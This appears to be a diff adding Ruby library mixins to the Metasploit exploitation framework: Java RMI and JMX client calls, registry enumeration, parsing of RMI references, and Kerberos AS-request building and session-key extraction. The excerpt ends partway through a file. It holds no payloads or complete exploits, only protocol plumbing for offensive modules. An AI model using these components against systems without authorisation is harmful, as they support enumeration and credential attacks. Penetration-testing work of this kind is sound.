module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
||||
def send_new_client(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_new_client(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
return nil
|
||||
end
|
||||
|
||||
reference = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,77 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# used to enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :username the JMX role to establish the connection if needed
|
||||
# @option opts [String] :password the JMX password to establish the connection if needed
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
def build_jmx_new_client(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
username = opts[:username]
|
||||
password = opts[:password] || ''
|
||||
|
||||
if username
|
||||
arguments = build_jmx_new_client_args(username, password)
|
||||
else
|
||||
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
||||
end
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
||||
def build_jmx_new_client_args(username = '', password = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
[auth_array]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,40 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Parser
|
||||
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
||||
# to find out the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_jmx_new_client_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,135 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/java/rmi/client/registry/builder'
|
||||
require 'msf/core/exploit/java/rmi/client/registry/parser'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
||||
# interface
|
||||
module Registry
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser
|
||||
|
||||
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
||||
def send_registry_lookup(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_lookup(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
if remote_object.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location = parse_registry_lookup_endpoint(return_value)
|
||||
|
||||
if remote_location.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location.merge(object: remote_object)
|
||||
end
|
||||
|
||||
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#list() method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Array, NilClass] The set of names if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_list
|
||||
def send_registry_list(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_list(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
names = parse_registry_list(return_value)
|
||||
|
||||
names
|
||||
end
|
||||
|
||||
# Calculates the hash to make RMI calls for the
|
||||
# java/rmi/registry/RegistryImpl_Stub interface
|
||||
#
|
||||
# @return [Fixnum] The interface's hash
|
||||
def registry_interface_hash
|
||||
hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'bind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
descriptor: '()[Ljava/lang/String;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'lookup',
|
||||
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'rebind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'unbind',
|
||||
descriptor: '(Ljava/lang/String;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
hash
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
||||
# retrieve the remote reference bound to a name.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the name to lookup
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
def build_registry_lookup(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
||||
hash: registry_interface_hash,
|
||||
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
||||
# enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
def build_registry_list(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 1, # java.lang.String list()[]
|
||||
hash: registry_interface_hash,
|
||||
arguments: []
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Parser
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
||||
# the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_registry_lookup_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
||||
# the list of names registered.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
||||
def parse_registry_list(return_value)
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_value.value[0].type == 'java.lang.String;'
|
||||
return nil
|
||||
end
|
||||
|
||||
return_value.value[0].values.collect { |val| val.contents }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,142 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/text'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Util
|
||||
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
||||
#
|
||||
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
||||
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
||||
# @return [Fixnum] The method hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
||||
def calculate_method_hash(signature)
|
||||
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
||||
sha1 = Rex::Text.sha1_raw(utf.encode)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
stream = ''
|
||||
stream << [1].pack('N') # stub version number
|
||||
|
||||
methods.each do |m|
|
||||
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
|
||||
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
||||
stream << utf_method.encode
|
||||
stream << utf_descriptor.encode
|
||||
m[:exceptions].each do |e|
|
||||
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
||||
stream << utf_exception.encode
|
||||
end
|
||||
end
|
||||
|
||||
sha1 = Rex::Text.sha1_raw(stream)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('s>')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('l>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts a long from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the long from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_long(io)
|
||||
int_raw = io.read(8)
|
||||
unless int_raw && int_raw.length == 8
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('q>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extract an RMI interface reference from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the reference from, should contain the data
|
||||
# inside a BlockData with the reference information.
|
||||
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
||||
def extract_reference(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
object_number = extract_long(io)
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
{address: address, port: port, object_number: object_number, uid: uid}
|
||||
end
|
||||
|
||||
# Register ports and services for autofilter support
|
||||
#
|
||||
def register_common_rmi_ports_and_services
|
||||
register_autofilter_ports([
|
||||
999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900,
|
||||
2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085,
|
||||
8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005,
|
||||
9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999,
|
||||
10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000,
|
||||
17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500,
|
||||
50501, 50502, 50503, 50504
|
||||
])
|
||||
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,143 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
require 'msf/core/exploit/kerberos/client/base'
|
||||
require 'msf/core/exploit/kerberos/client/as_request'
|
||||
require 'msf/core/exploit/kerberos/client/as_response'
|
||||
require 'msf/core/exploit/kerberos/client/tgs_request'
|
||||
require 'msf/core/exploit/kerberos/client/tgs_response'
|
||||
require 'msf/core/exploit/kerberos/client/pac'
|
||||
require 'msf/core/exploit/kerberos/client/cache_credential'
|
||||
|
||||
include Msf::Exploit::Remote::Kerberos::Client::Base
|
||||
include Msf::Exploit::Remote::Kerberos::Client::AsRequest
|
||||
include Msf::Exploit::Remote::Kerberos::Client::AsResponse
|
||||
include Msf::Exploit::Remote::Kerberos::Client::TgsRequest
|
||||
include Msf::Exploit::Remote::Kerberos::Client::TgsResponse
|
||||
include Msf::Exploit::Remote::Kerberos::Client::Pac
|
||||
include Msf::Exploit::Remote::Kerberos::Client::CacheCredential
|
||||
|
||||
# @!attribute client
|
||||
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
||||
attr_accessor :client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(88),
|
||||
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the remote port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the TCP timeout
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def timeout
|
||||
datastore['Timeout']
|
||||
end
|
||||
|
||||
# Returns the kdc peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Creates a kerberos connection
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :rhost
|
||||
# @option opts [<String, Fixnum>] :rport
|
||||
# @return [Rex::Proto::Kerberos::Client]
|
||||
def connect(opts={})
|
||||
kerb_client = Rex::Proto::Kerberos::Client.new(
|
||||
host: opts[:rhost] || rhost,
|
||||
port: (opts[:rport] || rport).to_i,
|
||||
timeout: (opts[:timeout] || timeout).to_i,
|
||||
context:
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
protocol: 'tcp'
|
||||
)
|
||||
|
||||
disconnect if client
|
||||
self.client = kerb_client
|
||||
|
||||
kerb_client
|
||||
end
|
||||
|
||||
# Disconnects the Kerberos client
|
||||
#
|
||||
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
||||
def disconnect(kerb_client = client)
|
||||
kerb_client.close if kerb_client
|
||||
|
||||
if kerb_client == client
|
||||
self.client = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Performs cleanup as necessary, disconnecting the Kerberos client
|
||||
# if it's still established.
|
||||
def cleanup
|
||||
super
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::AsRequest#build_as_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_as(opts = {})
|
||||
connect(opts)
|
||||
req = build_as_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_tgs(opts = {})
|
||||
connect(opts)
|
||||
req = build_tgs_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,114 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsRequest
|
||||
# Builds a kerberos AS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see #build_as_pa_time_stamp
|
||||
# @see #build_as_request_body
|
||||
def build_as_request(opts = {})
|
||||
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
|
||||
body = opts[:body] || build_as_request_body(opts)
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
|
||||
# @option opts [Time] :time_stamp
|
||||
# @option opts [Fixnum] :pausec
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [String] :key
|
||||
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_as_pa_time_stamp(opts = {})
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
pausec: pausec
|
||||
)
|
||||
|
||||
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: etype,
|
||||
cipher: pa_time_stamp.encrypt(etype, key)
|
||||
)
|
||||
|
||||
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
|
||||
value: enc_time_stamp.encode
|
||||
)
|
||||
|
||||
pa_enc_time_stamp
|
||||
end
|
||||
|
||||
# Builds a kerberos AS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see #build_client_name
|
||||
# @see #build_server_name
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_as_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,49 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsResponse
|
||||
# Extracts the session key from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def extract_session_key(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
enc_kdc_res.key
|
||||
end
|
||||
|
||||
# Extracts the logon time from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Fixnum]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
def extract_logon_time(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
auth_time = enc_kdc_res.auth_time
|
||||
|
||||
auth_time.to_i
|
||||
end
|
||||
end
|
||||
